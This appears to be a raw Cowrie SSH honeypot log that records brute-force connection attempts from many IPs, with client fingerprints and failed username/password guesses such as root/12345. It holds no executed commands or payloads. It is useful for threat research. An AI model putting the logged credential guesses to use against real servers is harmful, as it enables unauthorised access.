{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:34.277004Z","src_ip":"81.177.101.45","session":"1358d080f19d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:34.423147Z","src_ip":"81.177.101.45","session":"1358d080f19d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server#123","message":"login attempt [root/Server#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:34.959829Z","src_ip":"81.177.101.45","session":"1358d080f19d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:36.112527Z","src_ip":"81.177.101.45","session":"1358d080f19d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:41.348900Z","src_ip":"124.160.173.22","session":"8929e7f549dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":38314,"dst_ip":"10.17.0.5","dst_port":22,"session":"823825dce9f1","protocol":"ssh","message":"New connection: 80.66.85.226:38314 (10.17.0.5:22) [session: 823825dce9f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:52.561534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:52.565378Z","src_ip":"80.66.85.226","session":"823825dce9f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:52.657757Z","src_ip":"80.66.85.226","session":"823825dce9f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":33682,"dst_ip":"10.17.0.5","dst_port":22,"session":"f36ffa46c5db","protocol":"ssh","message":"New connection: 62.133.62.83:33682 (10.17.0.5:22) [session: f36ffa46c5db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:52.692674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:52.697531Z","src_ip":"62.133.62.83","session":"f36ffa46c5db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:52.782289Z","src_ip":"62.133.62.83","session":"f36ffa46c5db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rere","message":"login attempt [root/rere] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:52.940930Z","src_ip":"80.66.85.226","session":"823825dce9f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14071984","message":"login attempt [root/14071984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:53.032730Z","src_ip":"62.133.62.83","session":"f36ffa46c5db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:54.036123Z","src_ip":"80.66.85.226","session":"823825dce9f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:54.118921Z","src_ip":"62.133.62.83","session":"f36ffa46c5db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.50","src_port":35942,"dst_ip":"159.203.135.109","dst_port":22,"session":"5973718f83d0","protocol":"ssh","message":"New connection: 92.118.39.50:35942 (159.203.135.109:22) [session: 5973718f83d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:56.333169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:56.398933Z","src_ip":"92.118.39.50","session":"5973718f83d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:56.526998Z","src_ip":"92.118.39.50","session":"5973718f83d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:57.555252Z","src_ip":"92.118.39.50","session":"5973718f83d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:58.816191Z","src_ip":"92.118.39.50","session":"5973718f83d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":35274,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f9b169fb474","protocol":"ssh","message":"New connection: 91.92.40.176:35274 (10.17.0.5:22) [session: 9f9b169fb474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:59.150916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:59.195329Z","src_ip":"91.92.40.176","session":"9f9b169fb474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:59.657247Z","src_ip":"91.92.40.176","session":"9f9b169fb474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"welcome","message":"login attempt [guest/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:59.957369Z","src_ip":"91.92.40.176","session":"9f9b169fb474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:01.071197Z","src_ip":"91.92.40.176","session":"9f9b169fb474","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.1.33","src_port":56924,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf8e13858660","protocol":"ssh","message":"New connection: 103.78.1.33:56924 (10.17.0.5:22) [session: bf8e13858660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:29.718111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:29.722441Z","src_ip":"103.78.1.33","session":"bf8e13858660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:29.940930Z","src_ip":"103.78.1.33","session":"bf8e13858660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user33","password":"user33","message":"login attempt [user33/user33] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:30.847060Z","src_ip":"103.78.1.33","session":"bf8e13858660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:32.068022Z","src_ip":"103.78.1.33","session":"bf8e13858660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.177.22","src_port":35462,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd568b98c6b3","protocol":"ssh","message":"New connection: 162.241.177.22:35462 (159.203.135.109:22) [session: bd568b98c6b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:33.931758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:33.938611Z","src_ip":"162.241.177.22","session":"bd568b98c6b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:33.963644Z","src_ip":"162.241.177.22","session":"bd568b98c6b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome!@#$%^&*(","message":"login attempt [root/welcome!@#$%^&*(] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:34.040241Z","src_ip":"162.241.177.22","session":"bd568b98c6b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:35.068264Z","src_ip":"162.241.177.22","session":"bd568b98c6b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":41932,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b53af148955","protocol":"ssh","message":"New connection: 176.32.39.21:41932 (159.203.135.109:22) [session: 4b53af148955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:42.768009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:42.771873Z","src_ip":"176.32.39.21","session":"4b53af148955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:42.887024Z","src_ip":"176.32.39.21","session":"4b53af148955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111179","message":"login attempt [root/111179] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:43.233438Z","src_ip":"176.32.39.21","session":"4b53af148955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:44.351756Z","src_ip":"176.32.39.21","session":"4b53af148955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.195","src_port":38188,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d7b11b0c7b4","protocol":"ssh","message":"New connection: 118.26.36.195:38188 (159.203.135.109:22) [session: 7d7b11b0c7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:58.370562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:58.374776Z","src_ip":"118.26.36.195","session":"7d7b11b0c7b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa